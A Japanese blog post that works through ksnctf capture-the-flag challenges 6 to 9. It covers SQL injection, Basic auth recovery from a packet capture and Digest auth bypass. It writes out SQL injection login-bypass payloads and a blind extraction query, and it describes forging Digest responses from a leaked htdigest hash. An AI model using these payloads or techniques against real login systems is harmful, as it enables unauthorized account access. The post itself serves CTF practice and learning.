ksnctfをやってみた(#6 - #9)
6. Login
URLをアクセスみると、
Chrome先生は、「こいつはPHPだ」って報告してくれた。
PHPなら....SQL Injectionだね
推測ですが、恐らくここのSQLはこの感じだね。 (MySQLのはず)
SELECT '1' FROM user WHERE id = '[id]' AND password ='[pass]';
じゃ、下記のSQLへやってみよ
SELECT '1' FROM user WHERE id = 'admin' OR 1=1; -- AND password ='[pass]';
つまりここでの入力は、
' OR 1=1; --
前回これを入力するのは、12年前だね。。。そしてログインしてみると、
Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.Hint:
query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
$login = $r && $r->fetch();
if (!$login)
$err = 'Login Failed';
}
?>
が表示された。
「こんな簡単で解決したい?甘い!インジェクションでPWをとってくれ!」って書いている。。。むむ。。
動作原理的に、substrで一つずつ当たってみることだね。
SELECT * FROM user WHERE id='admin' AND pass='$pass' SELECT * FROM user WHERE id='admin' AND substr((SELECT pass FROM user WHERE id='admin'), pass[0], 1) = 'Y'; --' AND pass='$pass'
が、面倒すぎなので、sqlmapさんにお願いする。。
sqlmap: automatic SQL injection and database takeover tool
ダウンロードして、設定すると、flagゲット。
FLAG_KpWa4ji3uXXXTrPK
(TBD)7. Programming
これってCPP書かれているが、
どう見てもWhitespace - Wikipediaなので、
一旦後回し。。。
8. Basic is secure?
いきなり下記のファイルが共有された
http://ksnctf.sweetduet.info/q/8/q8.pcap
pcapは、ネットワークトラフィックのキャプチャなので、
このサイトに分析してもらうPacketTotal - A free, online PCAP analysis engine
このCTFは、第三者からネットワークトラフィックを盗聴したというケースをシミュレーションしている。
pcapログからみると、明らかにbasic認証のpwが書かれている
Host: ctfq.sweetduet.info:10080
Connection: keep-alive
Authorization: Basic cTg6RkxBR181dXg3eksyTktTSDhmU0dB ★これ!
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.162 Safari/535.19
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: ja,en-US;q=0.8,en;q=0.6
Accept-Charset: Shift_JIS,utf-8;q=0.7,*;q=0.3
cTg6RkxBR181dXg3eksyTktTSDhmU0dBはBase64なので、
デコードすれば
q8:FLAG_5ux7ccccccxxxxH8fSGA
ゲット!うーん。。簡単
#9. Digest is secure!
これって、Digest認証 - Wikipediaのアタックのはず。
A1= q9: secret:????? A2=GET:/~q9/ → 31e101310bcd7fae974b921eb148099c response=MD5(MD5(A1):bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b: 00000001: 9691c249745d94fc: auth:31e101310bcd7fae974b921eb148099c) response=c3077454ecf09ecef1d6c1201038cfaf
が、逆算MD5のは、どう考えて無理では?
ちょっと下へリクエストを見てみると・・?
Authorization: Digest username="q9", realm="secret", nonce="bbKtsfbABAA=5dad3cce7a7dd2c3335c9b400a19d6ad02df299b", uri="/~q9/htdigest", algorithm=MD5, response="d9f18946e5587401c303b34e00a059eb", qop=auth, nc=00000002, cnonce="6945eb2a7ba8cf7f" q9:secret:c627e19450db746b739f41b64097d449
なる!!
この人、なぜか(?)htdigestを見てしまい、そして我々に盗聴してしまった!
htdigestのフォーマットは、
user:realm:md5(A1)
なので、
md5(A1) = c627e19450db746b739f41b64097d449
は分かった!!!
そこで、md5(A1)も分かったので、常にresponseを計算し、認証を突破できるでは?
ネットでググたら、下記のpyすでにあるため、直接利用した。
gist.github.com
そしてネットワークリクエストを構造して、アクセスしてみると
<!DOCTYPE html> <head> <meta charset="utf-8"> <title>Q9</title> </head> <body> <p>FLAG_YBccccWEvC4pp3</p> </body> </html>